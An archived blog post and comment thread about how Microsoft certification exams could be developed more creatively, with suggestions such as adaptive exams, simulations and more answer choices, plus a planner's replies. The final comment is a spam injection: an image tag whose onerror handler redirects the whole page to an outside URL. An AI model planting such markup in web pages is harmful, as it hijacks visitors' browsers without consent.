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creating exams, your thoughts?

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Howard, developer certification planner here at MSL, is looking for feedback on how we can be more creative in exam development (and not get shut down by "good idea, but there's no budget.")  He also has a picture of a lake in the NW Cascades on his blog. Both are worth checking out: https://blogs.msdn.com/howard_dierking/archive/2007/06/05/community-based-development-let-s-talk.aspx

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  • Anonymous
    June 12, 2007
    Some of these are ideas for exam creations, others are ideas for the certification department in general. 1.) Adaptive exams, or more of them. 2.) More simulation questions. Not drag and drop but actual simulation questions. 4.) More choices for multiple choice answers. By this I mean instead of having the standard 4 answers to choose from, make it more difficult by having 6-8 closely worded answers. 3.) No more Beta exams (or) do not post scores and do not award certification for beta exams. 4.) Sorry about this but: Hands-on exams. I know, I know... There is a budget. I am sure I have more, but thats all for now.

  • Anonymous
    June 12, 2007

  1. the ability to do adaptive is determined by the size of the item pool (community based development opens up this option)
  2. community based development reduces cost of standard question type development - freeing budget for more innovative question types. 4.1) this is really a question of the statistical element.  With MC questions, studies have demonstrated many times (inside/outside of MSFT) that once you get more than 4 answer choices, the question does not "perform" well.  By "perform" we are not measuring difficulty - we are measuring the ability of a question to discriminate between a qualified and non-qualified candidate.
  3. We set the passing score based on the beta.  Why do you believe that betas are a problem?
  4. right - see comment to #2

  • Anonymous
    June 12, 2007
    Howard, shoot me an email at mdalligood@bellsouth.net I want to get a little more info from you regarding this. Thanks!

  • Anonymous
    June 13, 2007
    Well, from the looks of it, I may be the only person that does not agree with what Howard has proposed. I believe that, over a reletively small amount of time, his proposal would cost Microsoft more money than if they were to just remain on the current track they’re on. I was going to respond to his proposal directly on his Blog, but it turned out to be much longer than expected. So, I have posted a detailed description of my arguments here: http://www.certguard.com/forums/topic.asp?TOPIC_ID=198 Please let me know what you think as well.

  • Anonymous
    June 13, 2007
    Anything you can do to drive traffic to your site!

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    June 13, 2007
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  • Anonymous
    June 13, 2007
    Also Bob, since you're not aware of it, I have professionals at CertGuard that are able to contribute much more than "Anything you can do to drive traffic to your site!" Whatever happened to the "If you can't think of something proper to contribute, keep your mouth shut!"? Sorry Trika! Love Ya!!!

  • Anonymous
    June 13, 2007
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  • Anonymous
    June 16, 2007
    I hope you learned your lesson.

  • Anonymous
    June 22, 2007
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    June 25, 2007
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    June 25, 2007
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    June 26, 2007
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  • Anonymous
    June 28, 2007
    There's no "paying" for certifications. It's a privilege and not a right. Knowledge is power!

  • Anonymous
    April 11, 2008
    my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">